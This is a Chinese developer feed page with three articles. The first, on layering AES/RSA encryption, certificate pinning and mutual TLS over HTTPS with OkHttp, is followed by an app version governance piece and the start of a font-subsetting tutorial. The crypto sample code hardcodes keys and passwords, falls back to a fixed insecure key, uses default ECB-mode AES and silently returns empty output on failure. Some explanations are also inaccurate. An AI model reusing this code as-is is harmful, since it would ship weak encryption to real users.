https 协议是安全传输,为啥还要再加密?

背景这几天,我们家娃吃奶粉的量嗷嗷的涨起来了。我这颗小鹿乱撞的心,忍不住去面了两家互联网金融公司。因为没有准备,结果你懂的~这两家共同都有一个共同点,特别关系安全问题,尤其是看到你用过 okhttp3,那不得给你撸脱毛了就不算完事儿。协议HTTP vs HTT...
继续阅读 »

背景

这几天,我们家娃吃奶粉的量嗷嗷的涨起来了。我这颗小鹿乱撞的心,忍不住去面了两家互联网金融公司。
因为没有准备,结果你懂的~
这两家共同都有一个共同点,特别关系安全问题,尤其是看到你用过 okhttp3,那不得给你撸脱毛了就不算完事儿。

协议

HTTP vs HTTPS

我们都知道,https 相比于之前的 http 多了一层, 如下:

image.png
HTTP是一个基于TCP/IP通信协议来传递数据的协议,TCP/IP通信协议只有四层,从上往下依次为:应用层、传输层、网络层、数据链路层这四层,大学课本上的计算机网络知识是不是来了。但是,HTTP 协议在在网上进行传输用的是明文,就像某鸟给你发的快递,你的手机号、姓名都是写的清清楚楚,用户看着都瑟瑟发抖。
后来京东和顺丰意识到了这一点,就对手机号中间四位做了加密处理,姓名中间那几个个字也看不到了,甚至快递小哥给你打电话都是虚拟号码,你自己的电话只有自己心里清楚。
HTTPS 也是这个路子,为了解决 HTTP 明文传输存在的安全问题,在应用层和传输层之间加了一层安全层:SSL/TLS。
SSL: Secure Socket Layer, 安全套接层
TLS: Transport Layer Security,传输层安全协议
关于 HTTP 和 HTTPS 的对比文章,知乎上有一大坨,这里贴几篇,喜欢的可以多撸几遍:

HTTPS优缺点

  1. 使用 HTTP 明文传输存在被窃听风险,HTTPS 通过内容加密解决,注意这一步用的是对称加密哦
  2. 使用 HTTP 明文传输存在通信内容被篡改风险,HTTPS 通过校验机制解决
  3. 使用 HTTP 明文传输存在冒充服务风险,HTTPS 通过身-份-证书认证机制解决

通过以上三点,我们知道HTTPS 相对于 HTTP 有很强的安全感,但是对于一些app 这种安全级别还不够,如果出现以下意外咋整?

我干脆去问了讯飞星火,他是这么回答我的:

讯飞星火

我又去问了 ChatGPT,他的回答是这样的

ChatGPT

这俩货说的差不多,HTTPS 只能保证传输过程的安全性,不能保证全链路的安全性,更不能满足特定安全标准的规范诉求,所以我们需要根据安全的级别要求,采取不同加密策略。

既然如此,我们使用的三方网络库这里特指 okhttp 是怎么全链路传输安全的?我们接着往下唠:

OKhttp 库

Okhttp 库是基于HTTP和HTTPS协议封装的网络请求库,用于 Android 和 Java 应用中的网络通信。库在这儿:github.com/square/okht… ,

我们可以先了解一下okhttp 库是如何保证传输安全的~

问:OKhttp是如何支持https协议,以保证传输安全的,尤其是如何进行防止侦听、篡改、拦截信息?

AI 回答:
OkHttp是一个流行的开源HTTP客户端库,由Square公司开发。它提供了对HTTP和HTTPS的支持,并通过内置的TLS(Transport Layer Security)来确保HTTPS连接的安全性。以下是OkHttp如何支持HTTPS协议以及保障传输安全的一些关键方面:

  1. TLS/SSL支持:

    • OkHttp使用Java的javax.net.ssl包来支持TLS/SSL协议。TLS是HTTP的安全版本,用于加密通信内容,防止中间人攻击、窃听和篡改。
    • OkHttp通过SSLSocketFactoryHostnameVerifier等类来处理TLS/SSL握手和验证服务器证书的过程。
  2. 证书验证:

    • OkHttp会验证服务器提供的SSL证书,确保通信双方的身份合法。如果服务器的证书无效或无法验证,OkHttp会拒绝连接,从而防止中间人攻击。
  3. 证书锁定(Certificate Pinning):

    • OkHttp支持证书锁定机制,即在应用中预先指定服务端的证书信息。这样可以防止使用伪造证书的攻击,即使系统受到信任的根证书被破坏,应用仍然可以保持安全。
  4. 连接池和持久连接:

    • OkHttp通过连接池(Connection Pool)来重用已建立的连接,从而减少握手次数,提高性能。持久连接也有助于减少建立连接时的潜在风险。
  5. 安全配置:

    • OkHttp允许开发者配置TLS版本、密码套件(Cipher Suites)等参数,以满足特定的安全要求。
  6. 拦截器(Interceptors):

    • OkHttp提供了拦截器机制,可以在HTTP请求和响应的过程中插入自定义的逻辑。这使得开发者可以在请求或响应阶段添加额外的安全检查或处理逻辑,从而增强安全性。

总的来说,OkHttp通过支持TLS/SSL、证书验证、证书锁定、连接池等安全机制,以及提供灵活的配置和拦截器功能,确保在HTTPS连接中防止侦听、篡改和拦截信息的风险。开发者在使用OkHttp时,应该合理配置相关参数,以满足应用的安全需求。

好家伙,okhttp 是支持合理配置安全参数的,而且其拦截器机制可以很方便的进行安全检查,那还等什么,走一波~

策略一:对称加密(加密内容)

这里主打一个,客户端不想让别人看到自己的传输内容,想当然对自己的请求内容进行加密处理。基于这种思路我们封装一个 EncryptedOkHttpClient,代码如下:

public static OkHttpClient createEncryptedOkHttpClient() {
// 创建一个OkHttpClient.Builder
OkHttpClient.Builder builder = new OkHttpClient.Builder();

// 添加自定义拦截器,用于加密请求内容
builder.addInterceptor(new EncryptionInterceptor());

// 创建OkHttpClient实例
return builder.build();
}

注释里已经写了,通过EncryptionInterceptor拦截器对请求进行加密处理,这里选择加密请求体 RequestBody image.png 在encryptRequestBody方法中,RequestBody 依赖 okio 的 Buffer 类转换为ByteArray用于加密,加密算法选择对称加密算法 AES 加密字节数据,实现如下:

private RequestBody encryptRequestBody(RequestBody originalRequestBody) throws IOException {
// 从原始RequestBody中读取字节数据
// Read the byte data from the original RequestBody using Okio
Buffer buffer = new Buffer();
originalRequestBody.writeTo(buffer);
byte[] bytes = buffer.readByteArray();

// 使用对称加密算法(AES)加密字节数据
byte[] encryptedBytes = encryptWithAES(bytes, SECRET_KEY);

// 创建新的RequestBody
return RequestBody.create(originalRequestBody.contentType(), encryptedBytes);
}

可以看到,AES 使用了encryptWithAES方法加密字节数据,同时传了SECRET_KEY这个密钥,那我们看看 AES 是怎么加密的:

private byte[] encryptWithAES(byte[] input, String key) {
try {
SecretKey secretKey = new SecretKeySpec(key.getBytes(StandardCharsets.UTF_8), AES_ALGORITHM);
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
return cipher.doFinal(input);
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}

四行代码搞定,首先通过SecretKeySpec类将SECRET_KEY字符串加密成 SecretKey 对象,然后Cipher以加密模式 对密钥进行初始化然后加密 input 也就是转换为字节数组的请求体。 加密完成了,服务器当然要进行解密,解密方法如下:

public static String decrypt(String encryptedText) {
try {
byte[] encryptedData = Base64.decode(encryptedText,Base64.DEFAULT);

SecretKey secretKey = new SecretKeySpec(SECRET_KEY.getBytes(StandardCharsets.UTF_8), AES_ALGORITHM);
Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, secretKey);

byte[] decryptedBytes = cipher.doFinal(encryptedData);

return new String(decryptedBytes, StandardCharsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

可以看到,解密过程使用了相同AES算法和密钥SECRET_KEY,这就是对称加密使用一把钥匙上锁和开锁。但是这种加密算法有很大的问题:

首先,这把钥匙如果想通过网络传输让服务端知道,传输过程中被劫持了密钥就会暴露。

另外,SECRET_KEY是硬编码在代码中的,这也不安全,这可咋整啊?

千里之堤,溃于hacker

为了防止这种中间人攻击的问题,非对称加密开始表演了~

策略二:非对称加密

非对称加密是一把锁两把钥匙:公钥和私钥。前者是给大家伙用的,谁都能够来配一把公钥进行数据加密,但是要对加密数据进行解密,只能使用私钥。

假设我们用公钥加密一份数据,就不怕拦截了。因为只有拿着私钥的服务端才能解密数据,我们拿着服务器提供的公钥把策略一中的对称密钥给加密了,那不就解决了网络传输密钥的问题了。对的,HTTPS 也是这么做的,按照这个思路我们再添加一个 MixtureEncryptionInterceptor 拦截器。

// 添加自定义拦截器,用服务器非对称加密的公钥加密对称加密的密钥,然后用对称加密密钥加密请求内容
builder.addInterceptor(new MixtureEncryptionInterceptor());

MixtureEncryptionInterceptor 拦截器同样实现 Interceptor 接口如下:

image.png

其 intercept 方法跟 EncryptionInterceptor 一模一样,具体的变化在 encryptRequestBody() 方法中。具体实现如下:

private RequestBody encryptRequestBody(RequestBody originalRequestBody) throws IOException {
// 生成对称加密的密钥
byte[] secretKeyBytes = generateSecretKey();
SecretKeySpec secretKeySpec = new SecretKeySpec(secretKeyBytes, "AES");
// 使用服务器的公钥加密对称加密的密钥
byte[] encryptedSecretKey = encryptWithPublicKey(secretKeyBytes, SERVER_PUBLIC_KEY);
// 从原始 RequestBody 中读取字节数据
Buffer buffer = new Buffer();
originalRequestBody.writeTo(buffer);
byte[] bytes = buffer.readByteArray();

// 使用对称加密算法(AES)加密请求体
byte[] encryptedRequestBodyBytes = encryptWithAES(bytes, secretKeySpec);

// 创建新的 RequestBody,将加密后的密钥和请求体一并传输
return RequestBody.create(null, concatenateArrays(encryptedSecretKey, encryptedRequestBodyBytes));
}

如代码中注释,整个混合加密共 4 个步骤,依次是:

  1. 生成对称加密的密钥,用来加密传输内容。代码如下:
/**
* try block 里使用的是加密算法和随机数生成器,生成的较为复杂的密钥
* catch block 里使用的是示范性的非安全密钥
* @return
*/

private byte[] generateSecretKey() {
// 生成对称加密的密钥
try {
// 创建KeyGenerator对象,指定使用AES算法
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");

// 初始化KeyGenerator对象,设置密钥长度为128位
keyGenerator.init(128, new SecureRandom());

// 生成密钥
SecretKey secretKey = keyGenerator.generateKey();

// 获取密钥的字节数组表示形式
byte[] keyBytes = secretKey.getEncoded();

// 打印密钥的字节数组表示形式
for (byte b : keyBytes) {
Log.d(TAG,b + " ");
}
return keyBytes;
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
// 这里简单地示范了生成密钥的过程,实际上可以使用更复杂的方法来生成密钥
return "YourSecretKey".getBytes(StandardCharsets.UTF_8);
}

}

如注释所言,上面try block 里使用的是加密算法和随机数生成器,生成的较为复杂的密钥,catch block 里使用的是示范性的非安全密钥。这里主要是想说明生成对称密钥的方式有很多,但是硬编码生成密钥那是不推荐的,因为太不安全了,很容易被恶意用户获取到。

  1. 使用服务器的公钥加密对称加密的密钥,防止被破解
private byte[] encryptWithPublicKey(byte[] input, String publicKeyString) {
try {
// 封装 PublicKey
byte[] keyBytes = Base64.decode(publicKeyString, Base64.DEFAULT);
X509EncodedKeySpec keySpec = new X509EncodedKeySpec(keyBytes);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
PublicKey publicKey = keyFactory.generatePublic(keySpec);

Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);

return cipher.doFinal(input);
} catch (NoSuchAlgorithmException | InvalidKeySpecException | NoSuchPaddingException |
InvalidKeyException | BadPaddingException | IllegalBlockSizeException e) {
e.printStackTrace();
return new byte[0];
}
}

将服务端提供的公钥字符串转化成字节数组,然后通过 RSA 非对称算法加密 input,也就是我们的对称密钥。

注意:Cipher.getInstance("RSA/ECB/PKCS1Padding") 表示获取一个Cipher对象,该对象使用RSA算法、ECB模式和PKCS1填充方式。

  1. 使用对称加密算法(AES)加密请求体,请求体仍然要用对称加密密钥加密,只是对称加密密钥用公钥保护起来
private byte[] encryptWithAES(byte[] input, SecretKeySpec secretKeySpec) {
try {
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
return cipher.doFinal(input);
} catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException |
BadPaddingException | IllegalBlockSizeException e) {
e.printStackTrace();
return new byte[0];
}

}

非对称加密加密内容,策略一已经实现了。

  1. 创建新的 RequestBody,将加密后的密钥和请求体一并传输,这样就算 hacker 拦截了请求解析出请求体的数据,也无法直接获取到原始对称密钥。 加密完成后,通过 concatenateArrays 方法将加密后的密钥和请求体,实现如下:
private byte[] concatenateArrays(byte[] a, byte[] b) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
outputStream.write(a);
outputStream.write(b);
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
outputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
return outputStream.toByteArray();
}

非对称加密解决了密钥网络传输的问题,但是 hacker 还是可以伪装成目标服务端,骗取客户端的密钥。在伪装成客户端,用服务端的公钥加密自己篡改的内容,目标服务端对此无法辨别真伪。这就需要证书校验。

策略三:证书校验(单向认证)

okhttp3 提供了CertificatePinner这个类用于证书校验,CertificatePinner 可以验证服务器返回的证书是否是预期的证书。在创建createEncryptedOkHttpClient()方法中,添加证书代码如下:

image.png

okhttp 会利用其内置的证书固定机制来校验服务器返回证书的有效性。如果证书匹配,请求会继续进行;如果不匹配,OkHttp会抛出一个异常,通常是一个SSLPeerUnverifiedException,表明证书验证失败。验证过程在CertificatePinner 类的check()方法中,如下:

/**
* Confirms that at least one of the certificates pinned for {@code hostname} is in {@code
* peerCertificates}. Does nothing if there are no certificates pinned for {@code hostname}.
* OkHttp calls this after a successful TLS handshake, but before the connection is used.
*
* @throws SSLPeerUnverifiedException if {@code peerCertificates} don't match the certificates
* pinned for {@code hostname}.
*/

public void check(String hostname, List peerCertificates)
throws SSLPeerUnverifiedException {
List pins = findMatchingPins(hostname);
if (pins.isEmpty()) return;

if (certificateChainCleaner != null) {
peerCertificates = certificateChainCleaner.clean(peerCertificates, hostname);
}

for (int c = 0, certsSize = peerCertificates.size(); c < certsSize; c++) {
X509Certificate x509Certificate = (X509Certificate) peerCertificates.get(c);

// Lazily compute the hashes for each certificate.
ByteString sha1 = null;
ByteString sha256 = null;

for (int p = 0, pinsSize = pins.size(); p < pinsSize; p++) {
Pin pin = pins.get(p);
if (pin.hashAlgorithm.equals("sha256/")) {
if (sha256 == null) sha256 = sha256(x509Certificate);
if (pin.hash.equals(sha256)) return; // Success!
} else if (pin.hashAlgorithm.equals("sha1/")) {
if (sha1 == null) sha1 = sha1(x509Certificate);
if (pin.hash.equals(sha1)) return; // Success!
} else {
throw new AssertionError();
}
}
}

// If we couldn't find a matching pin, format a nice exception.
StringBuilder message = new StringBuilder()
.append("Certificate pinning failure!")
.append("\n Peer certificate chain:");
for (int c = 0, certsSize = peerCertificates.size(); c < certsSize; c++) {
X509Certificate x509Certificate = (X509Certificate) peerCertificates.get(c);
message.append("\n ").append(pin(x509Certificate))
.append(": ").append(x509Certificate.getSubjectDN().getName());
}
message.append("\n Pinned certificates for ").append(hostname).append(":");
for (int p = 0, pinsSize = pins.size(); p < pinsSize; p++) {
Pin pin = pins.get(p);
message.append("\n ").append(pin);
}
throw new SSLPeerUnverifiedException(message.toString());
}

从校验方法中得知,

  1. 可以没有固定证书
  2. 证书加密使用sha256/sha1
  3. 证书校验失败会抛出AssertionError错误
  4. 获取不到匹配的固定证书,会抛异常SSLPeerUnverifiedException

可以看到,使用相当方便。但是它有一个问题:请求之前需要预先知道服务端证书的 hash 值。就是说如果证书到期需要更换,老版本的应用就无法获取到更新的证书 hash 值了,老用户要统一升级。这~~~

策略四:创建SSLContext认证(客户端、服务端双向认证)

除了固定证书校验,还有一种基于 SSLContext 的校验方式。在建立HTTPS连接时,在客户端它依赖 SSLContext 和 TrustManager 来验证服务端证书。这里我们通过一createTwoWayAuthClient()方法实现如下:

private static OkHttpClient createTwoWayAuthClient() throws IOException, CertificateException, KeyStoreException, NoSuchAlgorithmException, UnrecoverableKeyException, KeyManagementException {
// 服务器证书
InputStream serverCertStream = TwoWayAuthHttpClient.class.getResourceAsStream("/server_certificate.crt");
X509Certificate serverCertificate = readCertificate(serverCertStream);
if (serverCertStream != null) {
serverCertStream.close();
}

// 客户端证书和私钥
InputStream clientCertStream = TwoWayAuthHttpClient.class.getResourceAsStream("/client_centificate.p12");
KeyStore clientKeyStore = KeyStore.getInstance("PKCS12");
clientKeyStore.load(clientCertStream, "client_password".toCharArray());
if (clientCertStream != null) {
clientCertStream.close();
}

// 创建 KeyManagerFactory 和 TrustManagerFactory
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
keyManagerFactory.init(clientKeyStore, "client_password".toCharArray());

// 创建信任管理器,信任服务器证书
TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType());
trustStore.load(null, null);
trustStore.setCertificateEntry("server", serverCertificate);
trustManagerFactory.init(trustStore);

// 初始化 SSL 上下文
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(keyManagerFactory.getKeyManagers(), trustManagerFactory.getTrustManagers(), new SecureRandom());

// 创建 OkHttpClient
return new OkHttpClient.Builder()
.sslSocketFactory(sslContext.getSocketFactory(), (X509TrustManager) trustManagerFactory.getTrustManagers()[0])
.build();
}

private static X509Certificate readCertificate(InputStream inputStream) throws CertificateException {
CertificateFactory certificateFactory = CertificateFactory.getInstance("X.509");
return (X509Certificate) certificateFactory.generateCertificate(inputStream);
}
  1. 加载服务器证书

    • 使用getResourceAsStream从类路径中加载服务器证书文件(.crt格式)。
    • 通过readCertificate方法读取证书内容,并生成一个X509Certificate对象。
    • 关闭输入流以释放资源。

注意:/server_certificate.crt可以动态加载服务器自签名证书的办法避免更新旧版本应用

  1. 加载客户端证书和私钥

    • 同样使用getResourceAsStream从类路径中加载客户端证书和私钥文件(.p12格式,通常是PKCS#12格式的密钥库)。
    • 创建一个KeyStore实例,并使用PKCS12算法加载客户端证书和私钥。密码为"client_password"
    • 关闭输入流。
  2. 创建KeyManagerFactory和TrustManagerFactory

    • KeyManagerFactory用于管理客户端的私钥和证书,以便在建立SSL/TLS连接时使用。
    • TrustManagerFactory用于管理信任的证书,以便在建立SSL/TLS连接时验证服务器的证书。
    • 使用默认算法初始化这两个工厂,并分别加载客户端的密钥库和信任的服务器证书。
  3. 初始化SSLContext

    • 创建一个SSLContext实例,指定使用TLS协议。
    • 使用之前创建的KeyManagerFactoryTrustManagerFactory初始化SSLContext。这会将客户端的私钥和证书,以及信任的服务器证书整合到SSL/TLS握手过程中。
  4. 创建OkHttpClient

    • 使用OkHttpClient.Builder创建一个新的OkHttpClient实例。
    • 配置SSL套接字工厂和信任管理器,以确保在建立连接时使用两向认证。
    • 构建并返回配置好的OkHttpClient实例。

这样客户端发起请求时,会将客户端证书发送给服务端,同时会校验服务端握手时返回的证书。校验逻辑如下:

image.png

这样整个双向校验工作就完成了。

封装

腾讯云有个同学封装了库,主要给服务端使用的,看的挺有味道,可以参考 cloud.tencent.com/developer/a…

总结

okhttp 作为一个支持 HTTPS 协议的网络库,同时支持对称加密非对称加密客户端证书校验客户端、服务端双向证书校验等安全加密方式,足见其强大的功能。

此外,为了兼顾性能:它使用证书校验保证通信双方的合法性,使用对称加密加密传输内容保证性能,使用非对称加密加密对称密钥防止hacker 拦截,整体提高了网络通信的安全性。

FAQ

文章被郭霖老师转发后,同学们也提出了一些疑问:
Q: HTTPS为啥不能保证全链路安全?

  1. 端点安全性: 如果你的手机、电脑、服务器中毒了,不管输入啥私密信息,都会被病毒软件截胡,https 管不了这事儿。需要杀毒软件大显身手了,给腾讯手机管家做个广告~
  2. 中间人攻击: hacker 通过非法方式获得 CA 证书,满足了 https 的安全策略,可以与客户端通信。okhttp 可以通过证书锁定(Certificate Pinning)的方式,只跟特定的服务器通讯,自签名证书不通过,就算 hacker 黑了 CA 机构你也不怕
  3. 协议漏洞:okhttp 团队也会定期更新修复漏洞,所以版本该升级升级

Q: SSLContext如何动态更新证书

其实这个问题的关键还是不理解 your_certificate.crt 下载过程中被攻击了咋办。首先,第一版应用的证书秘密存储。其次,后期更新的过程中,下载链路是安全的,自动替换最新的证书并通过安全校验就 OL

Q:PKCS1 有安全问题,建议使用 OAEP

import javax.crypto.Cipher;
import java.security.KeyFactory;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;

public class RSAUtil {
public static byte[] encrypt(byte[] data, PublicKey publicKey) throws Exception {
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
return cipher.doFinal(data);
}

public static byte[] decrypt(byte[] encryptedData, PrivateKey privateKey) throws Exception {
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
cipher.init(Cipher.DECRYPT_MODE, privateKey);
return cipher.doFinal(encryptedData);
}

public static PublicKey getPublicKey(byte[] publicKeyBytes) throws Exception {
X509EncodedKeySpec keySpec = new X509EncodedKeySpec(publicKeyBytes);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
return keyFactory.generatePublic(keySpec);
}

public static PrivateKey getPrivateKey(byte[] privateKeyBytes) throws Exception {
PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(privateKeyBytes);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
return keyFactory.generatePrivate(keySpec);
}
}

Q:证书固定问题

Certificate Pinning 涉及到涉及到三层证书:根证书(Root Certificate)、中间证书(Intermediate Certificate)和服务器证书(Server Certificate)。每个证书都有自己的公钥,因此在证书固定中需要验证这三个证书的公钥。 具体做法是,将服务器证书和根证书的 hash 值添加到证书固定中,这样,在建立连接时,除了验证服务器证书的公钥外,还会验证中间证书和根证书的公钥,确保整个证书链的完整性和真实。

这里以 example.com为例:

import okhttp3.CertificatePinner;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class CertificatePinningExample {

public static void main(String[] args) throws Exception {
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(new CertificatePinner.Builder()
.add("example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=") // 服务器证书的哈希值
.add("example.com", "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=") // 根证书的哈希值
.build())
.build();

Request request = new Request.Builder()
.url("https://example.com")
.build();

try (Response response = client.newCall(request).execute()) {
System.out.println(response.body().string());
}
}
}

AI 是个好东西~

参考文章


作者:hongyi0609
来源:juejin.cn/post/7333162360360796171
收起阅读 »

移动端APP版本治理

1、背景 在许多公司,APP版本都是不受重视的,产品忙着借鉴,开发埋头编码,测试想着不粘锅。 只有在用户反馈app不能用的时候,你回复客服说,让用户升级最新版本,是不是很真实。 而且业界也很少有听说版本治理的,但其实需求上线并不是终点,在用户数据回传之前,这中...
继续阅读 »

1、背景


在许多公司,APP版本都是不受重视的,产品忙着借鉴,开发埋头编码,测试想着不粘锅。


只有在用户反馈app不能用的时候,你回复客服说,让用户升级最新版本,是不是很真实。


而且业界也很少有听说版本治理的,但其实需求上线并不是终点,在用户数据回传之前,这中间还有一个更新升级的空档期,多数公司在这里都是一个“三不管”地带,而这个空档期,我称之为版本交付的最后一公里



2、价值



2.1、业务侧


总有人会挑战“有什么业务价值?”对吧,那就先从业务价值来看。


尽管有些app的有些业务是动态发布的,但也一定会有些功能是依赖跟版的,也就是说,你没办法让所有用户都用上你的新功能,那对于产运团队来说,业务指标就还有提升的空间。


举两个例子:



  1. 饿了么免单活动需要8.+版本以上的app用户才能参与,现在参与用户占比80%,治理一波后,免单用户参与占比提升到90%,对业务来说,免单数没变,但是订单量却是有实实在在的提升的。

  2. 再来一个,酷狗音乐8.+的app用户才可以使用扫码登录,app低版本治理之后,扫码登录的用户占比势必也会提升,那相应的,登录成功率也可以提升,登录流程耗时也会缩短,这都是实实在在的指标提升。



虚拟数据,不具备真实参考性。



2.2、技术侧


说完业务看技术,在技术侧也可以分为三个维度来看:



  1. 稳定性,老版本的crash、anr之类的问题在新版本大概率是修复了的,疑难杂症可能久一点;

  2. 性能优化,比如启动、包大小、内存,可以预见是比老版本表现更好的,个别指标一两个版本可能会有微量劣化,但是一直开倒车的公司早晚会倒闭;

  3. 安全合规,不管是老的app版本还是老的服务接口,都可能会存在安全问题,那么黑产就可能抓住这个漏洞从而对我们服务的稳定性造成隐患,甚至产生资损;


2.3、其他方面


除了上面提到的业务指标和用户体验之外,还有没有?


有没有想过,老版本的用户升上来之后,那些兼容老版本的接口、系统服务等,是不是可以下线了,除了减少人力维护成本之外,还能减少机器成本啊,这也都是实打实的经费支出。


对于项目本身来说,也可以去掉一些无用代码,减少项目复杂度,提升健壮性、可维护性。


3、方案



3.1、升级交互


采用新的设计语言和新的交互方式。


3.1.1、弹窗样式


样式上要符合app整体的风格,信息展示明确,主次分明。


bad casegood case

3.1.2、操作表达


按钮的样式要凸显出来,并放在常规易操作的位置上。


bad casegood case

3.1.3、提醒链路


从一级菜单到二级页面的更新提醒链路,并保持统一。



3.1.4、进度感知


下载进度一定要可查看并准确,如果点了按钮之后什么提示都没有,用户会进入一个很迷茫的状态,体验很差。



3.2、提醒策略


我们需要针对不同的用户下发不同的提醒策略,这种更细致的划分,不光是为了稳定性和目标的达成,也是为了更好的用户体验,毕竟反复提醒容易引起用户的反感。


3.2.1、提醒时机


提醒时机其实是有讲究的,原则上是不能阻塞用户的行为。


特别是有强制行为的情况,比如强更,肯定不能在app启动就无脑拉起弹窗。



bad case:双十一那天,用户正争分夺秒准备下单呢,结果你让人升级,这不扯淡的吗。



时机的考虑上有两个维度:



  1. 平台:峰时谷时;

  2. 用户:闲时忙时;


3.2.2、逻辑引擎


为什么需要逻辑引擎呢?逻辑引擎的好处是跨端,双端逻辑可以保持一致,也可以动态下发。




可以使用接口平替,约定好协议即可。



3.2.3、软强更


强制更新虽然有可以预见的好效果,但是也伴随着投诉风险,要做好风险管控。


而在2023-02-27日,工信部更是发布了《关于进一步提升移动互联网应用服务能力》的通知,其中第四条更是明确表示“窗口关闭用户可选”,所以强更弹窗并不是我们的最佳选择。



虽然强更不可取,但是我们还可以提高用户操作的费力度,在取消按钮上增加倒计时,再根据低版本用户的分层,来配置不同的倒计时梯度,比如5s、10s、20s这样。


用户一样可以选择取消,但是却要等待一会,所以称之为软强更



3.2.4、策略字段



  • 标题

  • 内容

  • 最新版本号

  • 取消倒计时时长

  • 是否提醒

  • 是否强更

  • 双端最低支持的系统版本

  • 最大提醒次数

  • 未更新最大版本间隔

  • 等等


3.3、提示文案


升级文案属于是ROI很高的了,只需要总结一下新版本带来了哪些新功能、有哪些提升,然后配置一下就好了,但是对用户来说,却是实打实的信息冲击,他们可以明确的感知到新版本中的更新,对升级意愿会有非常大的提升。



虽然说roi很高,但是也要花点心思,特别是大的团队,需要多方配合。


首先是需求要有精简的价值点,然后运营同学整合所有的需求价值点,根据优先级,出一套面向用户的提醒话术,也就是提示的升级文案了。



3.4、更新渠道


iOS用户一般在App Store更新应用,但是对于Android来说,厂商比较多,对应的渠道也多,还有一些三方的,这些碎片化的渠道自然就把用户人群给分流了,为了让每一个用户都有渠道可以更新到最新版本,那就需要在渠道的运营上下点功夫了,尽可能的多覆盖。



除了拓宽更新渠道之外,在应用市场的介绍也要及时更新。


还有一点细节是,优化应用市场的搜索关键词。


最后,别忘了自有渠道-官网。


3.5、触达投放


如果我们做了上面这么多,还是有老版本的用户不愿意升级怎么办?我们还有哪些方式可以告诉他需要升级?


触达投放是一个很好的方式,就像游戏里的公告、全局喇叭一样,但是像发短信这种需要预算的方式一般都是放在最后使用的,尽可能的控制成本。




避免过度打扰,做好人群细分,控制好成本。



3.6、其他方案


类型介绍效果
更新引导更新升级操作的新手引导😀
操作手册描述整个升级流程,可以放在帮助页面,也可以放在联系客服的智能推荐🙂
营销策略升级给会员体验、优惠券之类的😀
内卷策略您获得了珍贵的内测机会,您使用的版本将领先同行98%😆
选择策略「88%的用户选择升级」,替用户做选择😆
心理策略「预计下载需要15秒」,给用户心理预期😀
接口拦截在使用某个功能或者登录的时候拦截,引导下载最新版本😆
自动下载设置里面加个开关,wifi环境下自动下载安装包😀
版本故事类似于微信,每个版本都有一个功能介绍的东西,点击跳转加上新手引导🙂

好的例子:


淘宝拼多多

4、长效治理


制定流程SOP,形成一个完整链路的组合拳打法🐶。


白话讲,就是每当一个新版本发布的时候,明确在每个时间段要做什么事,达成什么样的目标。


让更多需要人工干预的环节,都变成流程化,自动化。



5、最后


一张图总结APP版本治理依次递进的动作和策略。



作者:yechaoa
来源:juejin.cn/post/7299799127625170955
收起阅读 »

如何将用户输入的名称转成艺术字体-fontmin.js

web
写在开头 日常我们在页面中使用特殊字体,一般操作都是直接由前端来全量引入设计师提供的整个字体包即可,具体操作如下: <template> <div class="font">橙某人</div> </template...
继续阅读 »

写在开头


日常我们在页面中使用特殊字体,一般操作都是直接由前端来全量引入设计师提供的整个字体包即可,具体操作如下:


<template>
<div class="font">橙某人</div>
</template>

<style scoped>
@font-face {
font-family: "orange";
src: url("./orange.ttf");
}
.font {
font-family: "orange";
}
</style>


很简单吧🤡,但有时应用场景不同,可能需要我们考虑一下性能问题。



一般来说,我们常见的字体包整个是非常大的,小的有几M到十几M,大的可能去到上百M都有,特别是中文类的字体包会相对英文类的要更大一些。



如本文案例,我们仅需在用户输入完后加载对应的字体包即可,这样能避免性能的损耗。


为此,我们需要把整个字体包拆分、细致化、子集化,让它能达到按需引入的效果。


那么这要如何来做这个事情呢?这个方案单单前端可做不了,我们需要配合后端一起,下面就来看看具体的实现过程吧。😗


前端


前端小编用 Vue 来编写,具体如下:


<template>
<div>
<input v-model="name" />
<button @click="handleClick">生成</button>
<div v-if="showName" class="font">{{ showName }}</div>
</div>

</template>

<script>
export default {
data() {
return {
name: "",
showName: "",
};
},
methods: {
handleClick() {
// 创建link标签
const linkElement = document.createElement("link");
linkElement.setAttribute("rel", "stylesheet");
linkElement.setAttribute("type", "text/css");
linkElement.href = `http://localhost:3000?name=${encodeURIComponent(this.name)}`;
document.body.appendChild(linkElement);
// 优化显示效果
setTimeout(() => {
this.showName = this.name;
}, 300);
},
},
};
</script>


<style>
.font {
font-family: orange;
font-size: 50px;
}
</style>


